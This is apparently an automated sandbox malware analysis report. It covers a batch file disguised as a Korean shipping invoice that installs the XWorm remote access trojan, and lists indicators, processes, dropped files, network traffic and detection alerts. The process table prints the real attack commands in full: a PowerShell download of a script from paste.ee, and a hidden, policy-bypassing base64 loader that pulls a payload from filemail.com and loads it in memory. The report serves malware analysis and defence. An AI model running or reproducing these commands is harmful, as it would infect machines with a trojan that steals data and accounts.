| File name: | 송장 및 선하증권 - CJLOG202500048 -PI-2894-AM-00.bat |
| Full analysis: | https://app.any.run/tasks/bc4f58dc-81fa-4182-846e-6efcde48a463 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | August 01, 2025, 06:05:58 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/x-msdos-batch |
| File info: | DOS batch file, ASCII text, with CRLF line terminators |
| MD5: | F66CE19E43823E13B3142848CEF31AD4 |
| SHA1: | D62FE4942964F40290AFE834CDF3D088E3196CA3 |
| SHA256: | 1D64C4A01D98680845D4BC182A198E1B550F665E8DFB7A37A77E168EF9316F50 |
| SSDEEP: | 24:wK8zuNW8BnNWJdEDnUT2OJx7BaSBgcGOg2OgKZZtdEKbKt5mh:3ESEQQfKbK/mh |
MALICIOUS
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 5432)
Script downloads file (POWERSHELL)
- powershell.exe (PID: 5432)
Run PowerShell with an invisible window
- powershell.exe (PID: 7080)
Bypass execution policy to execute commands
- powershell.exe (PID: 7080)
Changes powershell execution policy (Bypass)
- wscript.exe (PID: 504)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7080)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7080)
XWORM has been detected (SURICATA)
- MSBuild.exe (PID: 1964)
SUSPICIOUS
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 4888)
- wscript.exe (PID: 504)
Probably download files using WebClient
- cmd.exe (PID: 4888)
The process executes JS scripts
- cmd.exe (PID: 4888)
Potential Corporate Privacy Violation
- powershell.exe (PID: 5432)
- powershell.exe (PID: 7080)
Runs shell command (SCRIPT)
- wscript.exe (PID: 504)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 504)
Base64-obfuscated command line is found
- wscript.exe (PID: 504)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 504)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7080)
Converts a specified value to an integer (POWERSHELL)
- powershell.exe (PID: 7080)
Writes data to a memory stream (POWERSHELL)
- powershell.exe (PID: 7080)
Connects to unusual port
- MSBuild.exe (PID: 1964)
Contacting a server suspected of hosting an CnC
- MSBuild.exe (PID: 1964)
INFO
Creates files in the program directory
- powershell.exe (PID: 5432)
Disables trace logs
- powershell.exe (PID: 5432)
- powershell.exe (PID: 7080)
Checks proxy server information
- powershell.exe (PID: 5432)
- powershell.exe (PID: 7080)
Self-termination (SCRIPT)
- wscript.exe (PID: 504)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7080)
Checks supported languages
- MSBuild.exe (PID: 1964)
Found Base64 encoded spyware-related PowerShell classes (YARA)
- powershell.exe (PID: 7080)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7080)
Found Base64 encoded text manipulation via PowerShell (YARA)
- powershell.exe (PID: 7080)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 7080)
Found Base64 encoded access to BitConverter class via PowerShell (YARA)
- powershell.exe (PID: 7080)
Reads the computer name
- MSBuild.exe (PID: 1964)
Reads the machine GUID from the registry
- MSBuild.exe (PID: 1964)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
142
Monitored processes
9
Malicious processes
4
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 504 | "C:\Windows\System32\WScript.exe" "C:\ProgramData\happify.js" | C:\Windows\System32\wscript.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 1964 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 2200 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3960 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4888 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\송장 및 선하증권 - CJLOG202500048 -PI-2894-AM-00.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5432 | powershell -Command "(New-Object Net.WebClient).DownloadFile('http://paste.ee/d/xwvFDv9g/0', 'C:\\ProgramData\\happify.js')" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5556 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6840 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7080 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$nurspell='JHJhc2hndWFyZHMgPSAnVmtGSic7JGNocm9tb2NlbmVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcmFzaGd1YXJkcyk7JGFkZW5vcGhsZWdtb24gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkY2hyb21vY2VuZXMpOyRzeW1hciA9ICdRMnhoYzNOTWFXSnlZWEo1TVM1SWIyMWwnOyRwYWxlb2NvcnRleCA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21iYXNlNjRTdHJpbmcoJHN5bWFyKTskcHNldWRvY29sb3VyaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHBhbGVvY29ydGV4KTtBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5EcmF3aW5nOyRoYXJwc2ljaG9yZGxpa2U9J2h0dHBzOi8vMTAwNS5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9NE1HODlncDNFN2FLa0N3cXFHVmd4QmQzdENIQ3F6Q1VJUXJobGw5LVpWWllFaTFRQ2tDV1I2dyZza2lwcmVnPXRydWUmcGtfdmlkPTMxYjcwZjk2ODllZjQxYTcxNzUzOTkwNDY3ODc4NGFkJy5SZXBsYWNlKCd7OzwnLCdhJyk7JFRvbWVsdHk9TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskVG9tZWx0eS5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7JGdsZWFtZXI9JFRvbWVsdHkuRG93bmxvYWREYXRhKCRoYXJwc2ljaG9yZGxpa2UpOyRla2FoYT1bYnl0ZVtdXSgweDQyLCAweDRELCAweDAyLCAweDZGLCAweDRDLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDM2LCAweDAwLCAweDAwLCAweDAwLCAweDI4LCAweDAwLCAweDAwLCAweDAwLCAweDY0LCAweDAwLCAweDAwLCAweDAwLCAweDM5LCAweDQxLCAweDAwLCAweDAwLCAweDAxLCAweDAwLCAweDE4LCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweENDLCAweDZFLCAweDRDLCAweDAwLCAweEM0LCAweDBFLCAweDAwLCAweDAwLCAweEM0LCAweDBFLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDAwKTskYmFzaGZ1bD0tMTtmb3IoJEFra2FkaWFucz0wOyRBa2thZGlhbnMgLWxlICRnbGVhbWVyLkxlbmd0aC0kZWthaGEuTGVuZ3RoOyRBa2thZGlhbnMrKyl7ICRtaWNyb21lcmlzbT0kdHJ1ZTtmb3IoJHRlbG9kZW5kcm9ucz0wOyR0ZWxvZGVuZHJvbnMgLWx0ICRla2FoYS5MZW5ndGg7JHRlbG9kZW5kcm9ucysrKXtpZigkZ2xlYW1lclskQWtrYWRpYW5zKyR0ZWxvZGVuZHJvbnNdIC1uZSAkZWthaGFbJHRlbG9kZW5kcm9uc10peyRtaWNyb21lcmlzbT0kbmF1cGxpb2lkO2JyZWFrfX1pZigkbWljcm9tZXJpc20peyRiYXNoZnVsPSRBa2thZGlhbnM7YnJlYWt9fWlmKCRiYXNoZnVsIC1lcSAtMSl7cmV0dXJufTskUHJpc2h0aW5hPSRnbGVhbWVyWyRiYXNoZnVsLi4oJGdsZWFtZXIuTGVuZ3RoLTEpXTskY2hlZXNlbGVzcz1OZXctT2JqZWN0IElPLk1lbW9yeVN0cmVhbTskY2hlZXNlbGVzcy5Xcml0ZSgkUHJpc2h0aW5hLDAsJFByaXNodGluYS5MZW5ndGgpOyRjaGVlc2VsZXNzLlNlZWsoMCwnQmVnaW4nKXxPdXQtTnVsbDskcGxhdG9uaWNhbGx5PVtEcmF3aW5nLkJpdG1hcF06OkZyb21TdHJlYW0oJGNoZWVzZWxlc3MpOyRhZGFwdGF0aW9uaXNtPU5ldy1PYmplY3QgQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0W0J5dGVdO2ZvcigkdGh1bmRlcmJvb21lcnM9MDskdGh1bmRlcmJvb21lcnMgLWx0ICRwbGF0b25pY2FsbHkuSGVpZ2h0OyR0aHVuZGVyYm9vbWVycysrKXtmb3IoJEd1bnR1cj0wOyRHdW50dXIgLWx0ICRwbGF0b25pY2FsbHkuV2lkdGg7JEd1bnR1cisrKXskY2xvY2hhcmQ9JHBsYXRvbmljYWxseS5HZXRQaXhlbCgkR3VudHVyLCR0aHVuZGVyYm9vbWVycyk7JGFkYXB0YXRpb25pc20uQWRkKCRjbG9jaGFyZC5SKTskYWRhcHRhdGlvbmlzbS5BZGQoJGNsb2NoYXJkLkcpOyRhZGFwdGF0aW9uaXNtLkFkZCgkY2xvY2hhcmQuQil9fTskY2VydmluZT1bQml0Q29udmVydGVyXTo6VG9JbnQzMigkYWRhcHRhdGlvbmlzbS5HZXRSYW5nZSgwLDQpLlRvQXJyYXkoKSwwKTskbXVkbGVzcz0kYWRhcHRhdGlvbmlzbS5HZXRSYW5nZSg0LCRjZXJ2aW5lKS5Ub0FycmF5KCk7JG1ldHJvbG9neT1bQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRtdWRsZXNzKS5SZXBsYWNlKCdBJywnQCcpLlJlcGxhY2UoJ0AnLCdBJyk7JHBhcmVudGF0aW9uPSc9PUFNdkkwYXc5MlNDVlRadlEyTGxWbUxsUjNjaEIzTHZvRGMwUkhhJy5SZXBsYWNlKCdefCcsJ3QnKTskY2FscGljYXJwdW09W0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtZXRyb2xvZ3kpOyRwb3N0cGFsYXRpbmU9W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjYWxwaWNhcnB1bSk7JGRpcm5kbHM9QCgkcGFyZW50YXRpb24sJycsJycsJycsJ01TQnVpbGQnLCcnLCcnLCcnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzJywnZWN0YWxseScsJycsJycsJycsJ2lzb2dlbmllcycsJzInLCcnKTskcG9zdHBhbGF0aW5lLkdldFR5cGUoJHBzZXVkb2NvbG91cmluZykuR2V0TWV0aG9kKCRhZGVub3BobGVnbW9uKS5JbnZva2UoJHVudHJlYXRlZCwkZGlybmRscyk7JHBsYXRvbmljYWxseS5EaXNwb3NlKCk7JGNoZWVzZWxlc3MuRGlzcG9zZSgp';$akene=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($nurspell));Invoke-Expression $akene" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
11 965
Read events
11 963
Write events
2
Delete events
0
Modification events
| (PID) Process: | (4888) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.js\OpenWithProgids |
| Operation: | write | Name: | JSFile |
Value: | |||
| (PID) Process: | (504) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: F9DA180000000000 | |||
Executable files
0
Suspicious files
2
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_c4vyq1jc.r24.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pzbiglat.ck4.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5432 | powershell.exe | C:\ProgramData\happify.js | binary | |
MD5:538753346AD871E4CEBAF1A831498A54 | SHA256:D674B1275286C170EA847BD2F5799590AAD468882614F80F6994235FBECD9BC1 | |||
| 7080 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kwfa5v32.lqw.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5432 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:940CF214E85845C4EBD40CA7B875FCC2 | SHA256:3D0AB8C8BB71DB415A22608A1938A2210DDF4E0227AB6D999798EF188E9CDF28 | |||
| 7080 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xzxkao1v.oc5.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
26
DNS requests
20
Threats
12
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5432 | powershell.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/xwvFDv9g/0 | unknown | — | — | shared |
1268 | svchost.exe | GET | 200 | 23.48.23.143:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4892 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6152 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6152 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
7080 | powershell.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/e5BKopkB/0 | unknown | — | — | shared |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1268 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4916 | RUXIMICS.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5432 | powershell.exe | 23.186.113.60:80 | paste.ee | — | — | shared |
5432 | powershell.exe | 23.186.113.60:443 | paste.ee | — | — | shared |
7080 | powershell.exe | 142.215.209.71:443 | 1005.filemail.com | EQUINIX-EC-NY | US | malicious |
1268 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1268 | svchost.exe | 23.48.23.143:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
paste.ee |
| shared |
1005.filemail.com |
| malicious |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2200 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
5432 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
7080 | powershell.exe | Misc activity | ET INFO Observed Anonymous Filesharing Service Domain (filemail .com) in TLS SNI |
2200 | svchost.exe | Misc activity | ET INFO Anonymous File Sharing Service Domain in DNS Lookup (filemail .com) |
7080 | powershell.exe | Not Suspicious Traffic | INFO [ANY.RUN] Observed File Sharing Service Download Domain (filemail.com) |
7080 | powershell.exe | Not Suspicious Traffic | INFO [ANY.RUN] Downloading from a file sharing service is observed |
7080 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2200 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain |
2200 | svchost.exe | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |
2200 | svchost.exe | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |